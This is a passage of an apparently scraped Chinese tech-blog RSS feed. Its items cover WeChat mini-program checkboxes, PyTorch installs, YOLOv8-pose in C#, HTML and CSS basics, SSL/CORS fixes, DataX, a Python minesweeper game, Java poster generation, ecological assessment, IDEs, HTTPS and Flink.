控制属性绑定一个数组，即可使用数组中各项的数据重复渲染该组件。&#xA;默认数组的当前项的下标变量名默认为 index，数组当前项的变量名默认为 item。&#xA;为了更好地动态显示多个checkbox，可以使用wx:for控制属性。&#xA;如上图所示示例中，产生了一个问题，为什么当我选中多个checkbox后，checkboxChange函数返回的e.detail.value数组中的元素总是只有一个。我想看到的情况应该是 每新增一个选中，value数组中的元素值就多一个水果名。似乎每次触发都是“一种独立事件”。&#xA;问题出在， wx:for写错了位置，上图中的逻辑是将checkbox-group进行列表渲染，因此每个checkbox确实是独立的，每个group一个box，而不是一个group多个box。&#xA;接下来，需要修改下代码，新增一个view容器来渲染checkbox和text。&#xA;OK，这次正常啦！&#xA;Label 用来改进表单组件的可用性。&#xA;使用for属性找到对应的id，或者将控件放在该标签下，当点击时，就会触发对应的控件。 for优先级高于内部控件，内部有多个控件的时候默认触发第一个控件。 目前可以绑定的控件有：button, checkbox, radio, switch, input。</description>
    </item>
    <item>
      <title>关于torch、Pytorch_lightning、torchvision版本的问题</title>
      <link>https://bchobby.github.io/posts/b091061fbf54733ff87a57d1cc2c295c/</link>
      <pubDate>Tue, 02 Jan 2024 17:32:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b091061fbf54733ff87a57d1cc2c295c/</guid>
      <description> # CUDA 11.3 pip install torch==1.11.0+cu113 torchvision==0.12.0+cu113 torchaudio==0.11.0 --extra-index-url https://download.pytorch.org/whl/cu113 安装lightning&#xA;pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pytorch-lightning==1.7.6 </description>
    </item>
    <item>
      <title>C#使用纯OpenCvSharp部署yolov8-pose姿态识别</title>
      <link>https://bchobby.github.io/posts/a65b30060fd8559fb0f34aeb93138886/</link>
      <pubDate>Tue, 02 Jan 2024 17:29:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a65b30060fd8559fb0f34aeb93138886/</guid>
      <description>【源码地址】 github地址：https://github.com/ultralytics/ultralytics&#xA;【算法介绍】&#xA;Yolov8-Pose算法是一种基于深度神经网络的目标检测算法，用于对人体姿势进行准确检测。该算法在Yolov8的基础上引入了姿势估计模块，通过联合检测和姿势估计的方式来实现准确的姿势检测。&#xA;Yolov8-Pose算法的基本思想是将姿势检测任务转化为多个关键点的检测任务。人体姿势可以看作是由多个关键点组成的，例如头部、肩膀、手肘、手腕等。Yolov8-Pose算法通过在Yolov8的基础上增加额外的关键点检测层，来实现对这些关键点的检测和定位。&#xA;Yolov8-Pose算法的网络结构是在Yolov3的基础上进行改进和优化得到的。它采用了Darknet作为主干网络，并在其上添加了一系列的卷积层、上采样层和连接层，以提取更丰富的特征信息。同时，为了实现人体姿态点的检测和估计，Yolov8-Pose在输出层上引入了关键点检测的任务分支。&#xA;通过以上原理，Yolov8-Pose算法能够在保持检测速度的同时，实现对人体姿势的准确检测，从而在人体姿态估计领域具有一定的应用价值。&#xA;【效果】&#xA;​&#xA;【部分实现代码】&#xA;using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using OpenCvSharp; namespace FIRC { public partial class Form1 : Form { Mat src = new Mat(); Yolov8PoseManager ypm = new Yolov8PoseManager(); public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { OpenFileDialog openFileDialog = new OpenFileDialog(); openFileDialog.</description>
    </item>
    <item>
      <title>前端八股文（HTML篇）二</title>
      <link>https://bchobby.github.io/posts/117a8eb853bebdca30984f3a05db04f3/</link>
      <pubDate>Tue, 02 Jan 2024 17:24:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/117a8eb853bebdca30984f3a05db04f3/</guid>
      <description>目录&#xA;1.说一下web worker&#xA;2.iframe有哪些优点和缺点&#xA;3.label的作用是什么？如何使用？&#xA;4.script标签中defer和async的区别&#xA;5.Canvas和SVG的区别&#xA;6.head标签有什么作用，其中什么标签必不可少？&#xA;7.浏览器是如何对HTML5的离线储存资源进行管理和加载？&#xA;8.img的srcset属性的作用？&#xA;9.浏览器乱码的原因是什么？如何解决？&#xA;10.说一下 HTML5 drag API&#xA;1.说一下web worker 在HTML页面中，如果在执行脚本时，页面的状态时不可相应的，直到脚本执行完成后，页面才变成可相应。web worker 是运行在后台的js，独立于其他脚本，不会影响页面的性能。并且通过postMessage将结果回传到主线程。这样在进行复杂操作的时候，就不会阻塞主线程了。&#xA;如何创建web worker：&#xA;检测浏览器对于web worker的支持性创建web worker文件（js，回传函数等）创建web worker对象 2.iframe有哪些优点和缺点 iframe元素会创建包含另外一个文档的内联框架（即行内框架）&#xA;优点：&#xA;用来加载速度较慢的内容（如广告）可以使脚本可以并行下载可以实现跨子域通信 缺点：&#xA;iframe会阻塞主页面的onload事件无法被一些搜索引擎识别会产生很多页面，不容易管理 3.label的作用是什么？如何使用？ label标签来定义表单控件的关系：当用户选择label标签时，浏览器会自动将焦点转到和label标签相关的表单控件上。&#xA;使用方法1：&#xA;&amp;lt;label for=&#34;mobile&#34;&amp;gt;Number:&amp;lt;/label&amp;gt; &amp;lt;input type=&#34;text&#34; id=&#34;mobile&#34;/&amp;gt; 使用方法2：&#xA;&amp;lt;label&amp;gt;Date:&amp;lt;input type=&#34;text&#34;/&amp;gt;&amp;lt;/label&amp;gt; 4.script标签中defer和async的区别 如果没有defer或async属性，浏览器会立即加载并执行相应的脚本。他不会等待后续加载的文档元素，读取到就会开始加载和执行，这样就阻塞了后续文档的加载。&#xA;下图可以直观的看出三者之间的区别：&#xA;其中蓝色代表js脚本网络加载事件，红色代表js脚本执行时间，绿色代表html解析时间。&#xA;defer和async属性都是去异步加载外部的js脚本文件，它们都不会阻塞页面的解析，其区别如下：&#xA;执行顺序：多个带async属性的标签，不能保证加载的顺序；多个带defer属性的标签，按照加载顺序执行；脚本是否并行执行：async属性，表示后续文档的加载和执行与js脚本的加载和执行时并行进行的，即异步执行；defer属性，加载后续文档的过程和js脚本的加载时并行进行的，js脚本需要等到文档所有元素解析完成之后才执行，DOMContentLoaded事件触发执行之前。 5.Canvas和SVG的区别 1.SVG：SVG可缩放矢量图标是基于可扩展标记语言xml描述的2D图形的语言，SVG基于xml就意味着SVG DOM中的每个元素都是可用的，可以为某个元素附加JavaScript事件处理器。在SVG中，每个被绘制的图形均被视为对象。如果SVG对象的属性发生变化，那么浏览器能够自动重现图形。&#xA;其特点如下：&#xA;不依赖分辨率支持事件处理器最适合带有大型渲染区域的应用程序复杂度高会减慢渲染速度不适合游戏应用‘ 2.Canvas：Canvas是画布，通过JavaScript来绘制2D图形，是逐像素进行渲染的。其位置发生改变，就会重新进行绘制。&#xA;其特点如下：&#xA;依赖分辨率不支持事件处理器弱的文本渲染能力能够以.png或.jpg格式保存结果图像最适合图像密集型的游戏，其中的许多对象会被频繁重绘 注：矢量图，也称为面向对象的图像或绘制图像，在数学上定义为一系列由线连接的点。矢量挖金中的图形元素称为对象。每个对象都是一个自成一体的实体，它具有颜色，形状，轮廓，大小和屏幕位置等属性。&#xA;6.head标签有什么作用，其中什么标签必不可少？ head标签用于定义文档的头部，它是所有头部元素的容器。标签中的元素可以引用脚本，指示浏览器在哪里找到样式表，提供元信息等。&#xA;文档的头部描述了文档的各种属性和信息，包括文档的标题，在web中的位置以及和其他文档的关系等。绝大多数文档头部包含的数据都不会真正作为内容显示给读者。&#xA;下面这些标签可用在head部分：&amp;lt;base&amp;gt;,&amp;lt;link&amp;gt;,&amp;lt;meta&amp;gt;,&amp;lt;script&amp;gt;,&amp;lt;style&amp;gt;,&amp;lt;title&amp;gt;.&#xA;其中&amp;lt;title&amp;gt;定义文档的标题，它是head部分唯一必需的元素。&#xA;7.浏览器是如何对HTML5的离线储存资源进行管理和加载？ 在线的情况下：浏览器发现html头部有manifest属性，它会请求manifest文件，如果是第一次访问页面，那么浏览器就会根据manifest文件的内容下载相应的资源并且进行离线存储。如果已经访问过页面并且资源已经进行离线存储了，那么浏览器就会使用离线的资源加载页面，然后浏览器会对比新的 manifest 文件与旧的 manifest 文件，如果文件没有发生改变，就不做任何操作，如果文件改变了，就会重新下载文件中的资源并进行离线存储。离线的情况下，浏览器会直接使用离线存储的资源。 8.</description>
    </item>
    <item>
      <title>【SSL证书更换】：已拦截跨源请求：同源策略禁止读取位于 https://xxxxxx.top:8181/staff/login?xxx的远程资源（原因：CORS 请求未能成功）问题解决</title>
      <link>https://bchobby.github.io/posts/25b2f6adf45edc1f039df8e1cd7260c9/</link>
      <pubDate>Tue, 02 Jan 2024 17:23:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25b2f6adf45edc1f039df8e1cd7260c9/</guid>
      <description> 总览 1.问题出现：出现了CORS请求不能成功的问题，原因是因为 SSL 证书过期了。&#xA;2.在更换 前端 SSL 证书之后，问题并不能得到解决。&#xA;3.解决办法：必须同时更换后端的 SSL - tomcat 版本的证书。&#xA;一、SSL 证书准备 1.SSL 免费证书下载 首先去 阿里云 下载免费的 SSL证书 （下载 nginx 版本 和 tomcat 版本）&#xA;有3个月的（免费），也有12个月的（68元）。&#xA;2.txt 打开刚才下载的证书压缩包中的 SSL 的 nginx 文件 将 key 中的内容放到 KEY 中，将 PEM 中的内容放到 PEM 中&#xA;二、后端 SSL 证书更新 1.txt 打开刚才下载的证书压缩包中的 SSL 的 tomcat 目录 将 .pfx 文件保存好，我们要在后端中进行修改了。&#xA;2.打开后端，修改 application.yml 文件，并且把 新的 .pfx 文件放入 resources 目录 3.直接从 JAVA 项目 中开始运行 </description>
    </item>
    <item>
      <title>题解 | #明明的随机数# C&#43;&#43;暴力解法 没有使用迭代器容</title>
      <link>https://bchobby.github.io/posts/3b4196252f5bd995fcef9b1405cd0379/</link>
      <pubDate>Tue, 02 Jan 2024 17:13:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b4196252f5bd995fcef9b1405cd0379/</guid>
      <description>邮储发座谈会了&#xA;求问:华为24k是14a还是14b&#xA;offer比较（华为无线，美团，招银，建信金科，30所）&#xA;offer选择&#xA;决赛圈&#xA;Java学习路线总结&#xA;华子开奖&#xA;滴滴 网约车部门 测开实习面经&#xA;小丑来咯&#xA;春招时间线：银行and互联网大厂&#xA;滴滴测开实习一面&#xA;滴滴北京测开面经&#xA;学习&#xA;滴滴服务端测开&#xA;滴滴测试开发24届实习一面（凉）&#xA;年终总结：2023年总共冲了148次&#xA;华为-硬件工程师-硬件通用机考&#xA;题解 | #KiKi和酸奶#&#xA;#include &amp;lt;stdio.h&amp;gt;#include &amp;lt;math.h&amp;gt;int main(){ int n,h,m; whil&#xA;QT开发用的网络通信协议&#xA;QT网络通信协议 ├── TCP协议 │ ├── 面向连接的协议 │ ├── 三次握手过程 │ ├── 信息发送与接收 │ │ ├&#xA;题解 | #小乐乐找最大数#&#xA;#include&amp;lt;stdio.h&amp;gt;int main() { int a, max = 0; while (scanf(&#34;%d&amp;amp;&#xA;QT开发的软件和其他软件怎么通信&#xA;QT开发的软件和其他软件之间的通信可以通过以下几种方式实现：使用共享内存（Shared Memory）：实现方式：QT提供了QSharedMemory类，可以用&#xA;题解 | #小乐乐找最大数#&#xA;#include&amp;lt;stdio.h&amp;gt;int main() { int a,b,c,d,x,y; scanf(&#34;</description>
    </item>
    <item>
      <title>DataX部署及迁移操作说明</title>
      <link>https://bchobby.github.io/posts/19638aeff9f89a75aa4fcef647f872f3/</link>
      <pubDate>Tue, 02 Jan 2024 17:13:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19638aeff9f89a75aa4fcef647f872f3/</guid>
      <description>DataX安装部署 1、 DataX简介 DataX 是阿里巴巴开源的一个异构数据源离线同步工具，致力于实现包括关系型数据库(MySQL、Oracle等)、HDFS、Hive、ODPS、HBase、FTP等各种异构数据源之间稳定高效的数据同步功能。&#xA;源码地址：https://github.com/alibaba/DataX&#xA;2、DataX架构原理 2.1 DataX设计理念 为了解决异构数据源同步问题，DataX将复杂的网状的同步链路变成了星型数据链路，DataX作为中间传输载体负责连接各种数据源。当需要接入一个新的数据源的时候，只需要将此数据源对接到DataX，便能跟已有的数据源做到无缝数据同步。&#xA;2.2 DataX框架设计 DataX本身作为离线数据同步框架，采用Framework + plugin架构构建。将数据源读取和写入抽象成为Reader/Writer插件，纳入到整个同步框架中。&#xA;2.3 DataX调度决策思路 举例来说，用户提交了一个DataX作业，并且配置了总的并发度为20，目的是对一个有100张分表的mysql数据源进行同步。DataX的调度决策思路是：&#xA;1）DataX Job根据分库分表切分策略，将同步工作分成100个Task。&#xA;2）根据配置的总的并发度20，以及每个Task Group的并发度5，DataX计算共需要分配4个TaskGroup。&#xA;3）4个TaskGroup平分100个Task，每一个TaskGroup负责运行25个Task。&#xA;3、DataX部署 1）下载DataX安装包并上传到qianyi-ecs的/data 下载地址：https://github.com/alibaba/DataX/tree/master&#xA;2）解压datax.tar.gz到/data [root@qianyi-ecs data]$ tar -zxvf datax_v202309.tar -C /data&#xA;3）自检，执行如下命令 [root@qianyi-ecs data]$ python /data/datax/bin/datax.py /data/datax/job/job.json&#xA;出现如下内容，则表明安装成功&#xA;…… 2021-10-12 21:51:12.335 [job-0] INFO JobContainer - 任务启动时刻 : 2021-10-12 21:51:02 任务结束时刻 : 2021-10-12 21:51:12 任务总计耗时 : 10s 任务平均流量 : 253.91KB/s 记录写入速度 : 10000rec/s 读出记录总数 : 100000 读写失败总数 : 0 4、DataX使用 4.</description>
    </item>
    <item>
      <title>CSS-1</title>
      <link>https://bchobby.github.io/posts/6378f35cfa2416d71547dbc819102fde/</link>
      <pubDate>Tue, 02 Jan 2024 16:52:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6378f35cfa2416d71547dbc819102fde/</guid>
      <description>认识 CSS CSS：层叠样式表&#xA;引入方式 方式一 CSS代码，直接写在 HTML 的 style 标签里&#xA;&amp;lt;style&amp;gt; p { color:red; /* 颜色大小控制 */ font-size:30px; /* 字号大小 */ } &amp;lt;/style&amp;gt; 方式二 在 HTML 使用 link 标签引入&#xA;&amp;lt;link rel=&#34;stylesheet&#34; href=&#34;./test.css&#34;&amp;gt; rel 属性（了解） 1. rel 属性规定当前文档与被链接文档之间的关系 2. 只有 rel 属性的 &#34;stylesheet&#34; 值得到了所有浏览器的支持。其他值只得到了部分地支持 方式三 CSS代码，直接写在标签的 style 属性值里（不推荐）&#xA;&amp;lt;div style=&#34;color:red; font-size:20px;&#34;&amp;gt; 这是div标签 &amp;lt;/div&amp;gt; 行内样式，配合 JavaScript 使用 CSS 注释 /* 这是注释，CSS代码 */ CSS 特性 继承性、层叠性、优先级&#xA;作用：简化代码 ( 定位问题 )，并解决问题&#xA;1.继承性： 子级默认继承父级的文章控制属性，当然，如果子级自己有则生效自己的样式，不继承。 2.</description>
    </item>
    <item>
      <title>Python-扫雷游戏【附完整源码】</title>
      <link>https://bchobby.github.io/posts/cd031ad1026eb5aa74207123a200d174/</link>
      <pubDate>Tue, 02 Jan 2024 16:51:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd031ad1026eb5aa74207123a200d174/</guid>
      <description>扫雷游戏 《扫雷》是一款大众类的益智小游戏，游戏目标是在最短的时间内根据点击格子出现的数字找出所有非雷格子，同时避免踩雷，踩到一个雷即全盘皆输。这个游戏的玩法很简单，雷区中随机布置一定数量的地雷，玩家需要尽快找出所有不是地雷的方块，如果玩家翻开的方块有地雷，则游戏结束。&#xA;运行效果：&#xA;一：主程序： import cfg import sys import time import pygame from modules import * &#39;&#39;&#39;主函数&#39;&#39;&#39; def main(): # 游戏初始化 pygame.init() screen = pygame.display.set_mode(cfg.SCREENSIZE) pygame.display.set_caption(&#39;扫雷&#39;) # 导入所有图片 images = {} for key, value in cfg.IMAGE_PATHS.items(): if key in [&#39;face_fail&#39;, &#39;face_normal&#39;, &#39;face_success&#39;]: image = pygame.image.load(value) images[key] = pygame.transform.smoothscale(image, (int(cfg.GRIDSIZE*1.25), int(cfg.GRIDSIZE*1.25))) else: image = pygame.image.load(value).convert() images[key] = pygame.transform.smoothscale(image, (cfg.GRIDSIZE, cfg.GRIDSIZE)) # 载入字体 font = pygame.font.Font(cfg.FONT_PATH, cfg.FONT_SIZE) # 导入并播放背景音乐 pygame.mixer.music.load(cfg.BGM_PATH) pygame.mixer.music.play(-1) # 实例化游戏地图 minesweeper_map = MinesweeperMap(cfg, images) position = (cfg.</description>
    </item>
    <item>
      <title>宣传照（私密）勿转发</title>
      <link>https://bchobby.github.io/posts/ae66f70143453b1076582b171b7539fc/</link>
      <pubDate>Tue, 02 Jan 2024 16:38:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae66f70143453b1076582b171b7539fc/</guid>
      <description>精美的海报通常都是由UI进行精心设计的，现在有100 件商品需要进行宣传推广，如果每个商品都出一张图显然是不合理的，且商品信息各异。因此需要通过代码的形式生成海报。对此，我也对我宣传一波，企图实现我一夜暴富的伟大宏图。&#xA;生成的海报放在最前面，扫描下方二维码，手机上更好的实时阅读小咸鱼的技术窝。&#xA;代码实现 需要的依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.google.zxing&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.4.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;commons-io&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-io&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.4&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.google.zxing&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;javase&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.4.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.commons&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-lang3&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.aspectj&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aspectjweaver&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.9.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 完整Java 代码 需要你准备一张背景图、封面图、二维码图、以及对应的文字描述，我这里全部搞成静态的了。各位织入自己的业务即可。用到的技术是 Graphics2D。我们使用的时候只需要知道三个概念就行。&#xA;x 坐标：横坐标y 坐标：纵坐标width：坐标点向右，的宽度height：坐标点向下的，高度 为了保证图片的美观性，你需要去向 ui 询问，字体的配色参数、图片的尺寸参数。然后进行排版。里面需要自己去理解一下，都是些数学加减法的计算。这里不过多 bb。本文海报用到的图片尺寸是 610*633 的。&#xA;public class ImageUtils { public static String createPoster(String content) throws Exception { if (content.length() &amp;gt; 300) { content = StringUtils.substring(content, 0, 300) + &#34;...&#34;; } //封面 File petImg = new File(&#34;</description>
    </item>
    <item>
      <title>生态系统服务构建生态安全格局中的实践技术应用</title>
      <link>https://bchobby.github.io/posts/5c29df8c9670705981c70634c57c04c9/</link>
      <pubDate>Tue, 02 Jan 2024 16:37:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c29df8c9670705981c70634c57c04c9/</guid>
      <description>生态安全是指生态系统的健康和完整情况。生态安全的内涵可以归纳为：一，保持生态系统活力和内外部组分、结构的稳定与持续性；二，维持生态系统生态功能的完整性；三，面临外来不利因素时，生态系统具有相当的抵抗性。这三方面实际是生态系统健康、服务功能和风险问题。当前构建指标研究仍处于不断探索与完善的阶段，模型和方法层出不穷，构建方法已从简单的层次分析和适宜性分析转变为复杂的生态过程动态模拟，而“源地识别—阻力面构建—廊道提取”的研究框架是构建生态安全格局的典型范式。本课程将从生态安全的内涵入手，讲解如何根据区域生态环境存在的实际问题，收集与研究相关的资料和研究成果及多类型、多时相遥感数据；如何清洗数据，对数据进行处理和信息挖掘识别影响生态环境安全的因素；讲解如何对5种关键的生态系统服务（水源涵养、土壤保持、防风固沙和生境质量、固碳量）进行定量评估，如何在评价结果基础上识别出能够保障区域生态安全的生态源地；如何根据研究区生态系统服务重要性构建基本阻力面，如何运用最小累积阻力等模型识别潜在生态廊道；如何构建生态安全格局，如何实施生态安全格局的优化策略，本课程将为开发建设生态城市、保障区域生态安全提供空间指引。&#xA;第一章、生态安全评价理论及方法介绍&#xA;一、生态安全评价简介&#xA;二、生态服务能力简介&#xA;三、生态安全格局构建研究方法简介&#xA;第二章、平台基础&#xA;一、ArcGIS Pro介绍&#xA;1.ArcGIS Pro简介&#xA;2.ArcGIS Pro基础&#xA;3.ArcGIS Pro数据编辑&#xA;4.ArcGIS Pro空间分析&#xA;5.模型构建器&#xA;6.ArcGIS Pro符号制作&#xA;7.ArcGIS Pro制图布局与出图&#xA;二、Python环境配置&#xA;1.Python软件下载与安装&#xA;2.程序编写与运行&#xA;3.Python代码书写规则&#xA;4.文件读写&#xA;文件对象、文本文件的读写、JSON文件读写、二进制文件读写、HDF文件读写、Excel文件读写、文件系统和路径操作&#xA;5.ArcPy简介&#xA;基本情况&#xA;利用ArcPy运行工具&#xA;工具运行环境&#xA;空间参照&#xA;6.访问和管理空间数据&#xA;对表格数据（table）、要素类（feature class）、栅格数据（raster）、数据集（dataset）的访问与管理&#xA;第三章、数据获取与清洗&#xA;一、数据获取：&#xA;数据主要包括土地利用数据、社会经济数据、基础地理信息数据、自然环境数据（地形、土壤以及气候数据）：&#xA;二、数据预处理（ArcGIS Pro及Python环境） 1.土地利用数据进行拼接、裁剪、重投影（桌面端与云计算）&#xA;2.将社会经济数据、植被指数数据进行裁剪、重投影及重采样处理（桌面端与云计算）&#xA;3.将基础地理信息数据进行拼接、投影转换，矢量数据栅格化&#xA;4.气象数据裁剪、重投影及重采样处理；站点数据提取及地统计分析&#xA;5.DEM数据投影变换和影像裁剪&#xA;数据清洗：去除重复数据、填补缺失值、处理异常值和转换数据格式等操作&#xA;第四章、基于USLE模型的土壤侵蚀评价&#xA;一、生态系统服务功能评估技术规范简介&#xA;二、生态系统服务功能评估的内容和流程、评估指标体系、评估方法等&#xA;水土保持功能主要与气候、土壤、地形和植被有关，主要考虑土壤可蚀性、地形、降雨等因子。&#xA;通用土壤流失方程(USLE)的计算公式如下：&#xA;A=R*K*L*S*（1-C）&#xA;式中：&#xA;A：任一坡耕地在特定的降雨、作物管理制度及所采用的水土保持措施下，单位面积年平均土壤流失量，t/ha&#xA;R：降雨侵蚀力因子，是单位降雨侵蚀指标，如果融雪径流显著，需要增加融雪因子，MJ*mm/(ha*h)&#xA;K：土壤可蚀性因子，标准小区上单位降雨侵蚀指标的土壤流失率&#xA;L：坡长因子；&#xA;S：坡度因子，等于其它条件相同时实际坡度与9%坡度相比土壤流失比值；由于L和S因子经常影响土壤流失，因此，称LS为地形因子，以示其综合效应；&#xA;C：植被覆盖和经营管理因子，等于其它条件相同时，特定植被和经营管理地块上的土壤流失与标准小区土壤流失之比；&#xA;第五章、基于风蚀修正模型的防风固沙功能评估&#xA;防风固沙是生态系统（如森林、草地等）通过其结构与过程减少由于风蚀所导致的土壤侵蚀的作用，是生态系统提供的重要调节服务之一。防风固沙功能主要与风速、降雨、温度、土壤、地形和植被等因素密切相关。以防风固沙量（潜在风蚀量与实际风蚀量的差值）作为生态系统防风固沙功能的评估指标。&#xA;式中：SR 为固沙量（t km-2 a-1）；SL 潜为潜在风力侵蚀量（t km-2 a1）；SL 为实际风力侵蚀量（t km-2 a-1）；QMAX 为最大转移量（kg/m)；Z 为 最大风蚀出现距离（m)，本次实验设定为 50m；WF 为气候因子（kg/m）；K&#39;为 地表糙度因子；EF 为土壤可蚀因子；SCF 为土壤结皮因子；C 为植被覆盖因子。</description>
    </item>
    <item>
      <title>大白话IDE：入门指南</title>
      <link>https://bchobby.github.io/posts/60c61b1ba4d1784f1cdf0694722fbc08/</link>
      <pubDate>Tue, 02 Jan 2024 16:33:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60c61b1ba4d1784f1cdf0694722fbc08/</guid>
      <description> 什么是IDE？ IDE，即集成开发环境（Integrated Development Environment），是帮助程序员进行软件开发的应用程序。它通常包括代码编辑器、编译器、调试器和图形用户界面等工具。&#xA;为什么使用IDE？ 省时省力：写代码、查错、运行程序全都在一个地方搞定。&#xA;编码助手：IDE提供语法高亮、代码提示、AI自动完成等插件和功能，优雅的代码就是这样产生的。&#xA;Debug：内置的调试工具可以帮助快速定位和修复代码中的问题。&#xA;新手推荐：Visual Studio Code 插件生态系统：VS Code有一个庞大的插件生态系统，用户可以根据需要安装各种插件来扩展功能。&#xA;多语言支持：VS Code支持多种编程语言，如JavaScript、Python、C++、Java等，非常适合多语言开发者。Git集成：内置的Git支持使得版本控制变得简单易用。定制化和扩展性：用户可以自定义界面、快捷键等，满足个性化需求。轻量级且高效：VS Code相比其他IDE更轻量，启动和运行速度快。智能代码补全：通过IntelliSense功能，VS Code提供智能的代码补全、参数信息等。跨平台：支持Windows、macOS和Linux操作系统。 特别优势：学生免费 GitHub Copilot插件&#xA;GitHub Copilot：GitHub提供的AI编程助手，可以在VS Code中作为插件使用。它能够根据代码上下文自动生成代码片段和整个函数，极大地提高编码效率。&#xA;学生免费使用：可以用学生邮箱白嫖。&#xA;其他IDE选择 IntelliJ IDEA：适用于Java开发，功能全面，但相对较重。Eclipse：另一款适用于Java的IDE，功能强大，插件众多。PyCharm：专为Python开发设计，提供智能代码助手和代码分析功能。Xcode：苹果官方IDE，专为macOS和iOS应用开发。Vim：大学时期最爱 </description>
    </item>
    <item>
      <title>HTTPS是什么？</title>
      <link>https://bchobby.github.io/posts/c7a863853cd613aa3e0fb7f8570a1f58/</link>
      <pubDate>Tue, 02 Jan 2024 16:25:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7a863853cd613aa3e0fb7f8570a1f58/</guid>
      <description>HTTPS（全称：Hypertext Transfer Protocol Secure），是以安全为目标的HTTP通道，在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性。&#xA;HTTPS在HTTP的基础下加入SSL层，其安全基础是SSL。SSL层利用加密技术为传输的数据提供了加密保护，确保数据在传输过程中的安全。同时，通过SSL/TLS协议，HTTPS还提供了对网站服务器身份的认证，确保了数据来源的可靠性和准确性。&#xA;HTTPS的存在也不同于HTTP的默认端口及一个加密/身份验证层（在HTTP与TCP之间），这使得数据在传输过程中更加难以被窃取或篡改。&#xA;HTTPS被广泛用于万维网上安全敏感的通讯，例如交易支付等方面。启用HTTPS加密连接的网站会在浏览器地址栏显示一个绿色的锁形图标，这有助于提升用户对网站的信任度，从而增加用户的粘性和转化率。&#xA;总的来说，HTTPS是一种提供加密保护和身份认证的通信协议，被广泛应用于保护互联网上的数据传输安全。&#xA;申请免费SSL证书升级成HTTPS协议 https://www.joyssl.com/certificate/select/free.html?nid=5</description>
    </item>
    <item>
      <title>Flink实时电商数仓（十）</title>
      <link>https://bchobby.github.io/posts/b8ccd1bcf37dfcd2ea5b564d80c05d89/</link>
      <pubDate>Tue, 02 Jan 2024 16:22:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8ccd1bcf37dfcd2ea5b564d80c05d89/</guid>
      <description>common模块回顾 app BaseApp: 作为其他子模块中使用Flink - StreamAPI的父类，实现了StreamAPI中的通用逻辑，在其他子模块中只需编写关于数据处理的核心逻辑。BaseSQLApp: 作为其他子模块中使用Flink- SQLAPI的父类。在里面设置了使用SQL API的环境、并行度、检查点等固定逻辑。 bean：存放其他子模块中使用到的javaBean对象，因为如果一直使用jsonObject对象调用数据的话，需要使用类似getString(&#34;字段名&#34;)的方式，没有直接使用javaBean对象那么方便。constant 存储字符串常量为了保证一致性，如果某个常量修改时，只需在这里修改即可对整个项目进行修改 function DorisMapFunction：将javaBean对象转换为对应的json字符串对象，并且将驼峰式命名方式修改为蛇形命名方式。便于写入doris。 util DateFormateUtilFlinkSinkUtilFlinkSourceUtilHBaseUtilIkUtilJdbcUtilSQLUtil getUpsertKafakaSQL: 一定要声明主键，支持撤回流getDorisSinkSQL: 用于写入Doris dim层回顾 Flink-cdc监控mysql中的维度配置表将监控的数据流做成广播流将广播流和读取数据的主流进行connect主流数据根据广播流的配置信息进行分流，注意需要先提前缓存一次配置表信息达到动态拆分数据表的效果 dwd层FlinkSQL回顾 注意join时会将所有数据都存储到内存中，需要考虑设置TTL大表join小表时，可以考虑使用lookup join如果数据流有明确的先后关系时，考虑使用Interval join 在支付成功模块，由于订单详情表处理时已经存在撤回流，但支付成功模块也是使用left join方式调用订单详情数据，会导致产生两次撤回流。在后续dws层处理时，要注意对数据进行去重过滤。&#xA;dws层回顾 如何判断使用FlinkSQL还是StreamAPI 如果比较标准化, 比如简单的开窗聚合，一般使用FlinkSQL如果需要使用状态处理数据，比如判断是否为独立用户，使用StreamAPI 交易域sku粒度订单下单各窗口汇总 需求分析：从Kafka订单明细主题读取数据，过滤null数据并按照唯一键对数据去重，按照SKU维度分组，统计原始金额、活动减免金额、优惠券减免金额和订单金额，并关联维度信息，将数据写入Doris交易域SKU粒度下单各窗口汇总表&#xA;思路分析：&#xA;方案一：按照订单ID进行分组，根据业务逻辑设置定时器取最后一个数据进行发送方案二：将度量值存放到状态中，每次新数据到达时，将新的度量值减去状态中的度量值 具体实现&#xA;因为需要使用状态，故使用BaseApp; 设置端口号10029，并发度4，消费者组为类名，消费者主题名称为dwd订单详情读取dwd下单主题数据， stream.print()过滤清洗: 